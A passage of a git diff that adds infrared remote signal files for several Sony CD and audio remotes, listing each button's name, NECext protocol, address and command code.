+command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: track_down +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: track_up +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir new file mode 100644 index 000000000..d134d0930 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: ten +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: greaterten +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: jumpbackward +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: jumpforward +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: mscan +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: discskip +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: disc1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: disc2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: disc3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: disc4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: disc5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir new file mode 100644 index 000000000..2c024cdfa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: LINE_VOL_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: LINE_VOL_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >TEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: M.SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir new file mode 100644 index 000000000..f9f341721 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: rw +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: m.scan +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: dsp.select +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5D 00 00 00 +# +name: direct +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir new file mode 100644 index 000000000..8ad02f6b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: fback +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: ffor +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: for +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: disc1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: disc2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: disc3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: disc4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: disc5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir new file mode 100644 index 000000000..6a07d21c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: ams_rew +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: ams_fwd +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: fwd_slow +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: autospc +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir new file mode 100644 index 000000000..e75527299 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: LINE+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: LINE- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 19 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1A 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: INDEX-- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: INDEX++ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISC1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: DISC2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: DISC3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: DISC4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: DISC5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: LEVEL_FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir new file mode 100644 index 000000000..8551413a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: VOLDWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: SLOWREW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SLOWFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: MUSICSCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: A.SPACE/A.CUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir new file mode 100644 index 000000000..e7358acf0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir @@ -0,0 +1,536 @@ +Filetype: IR signals file 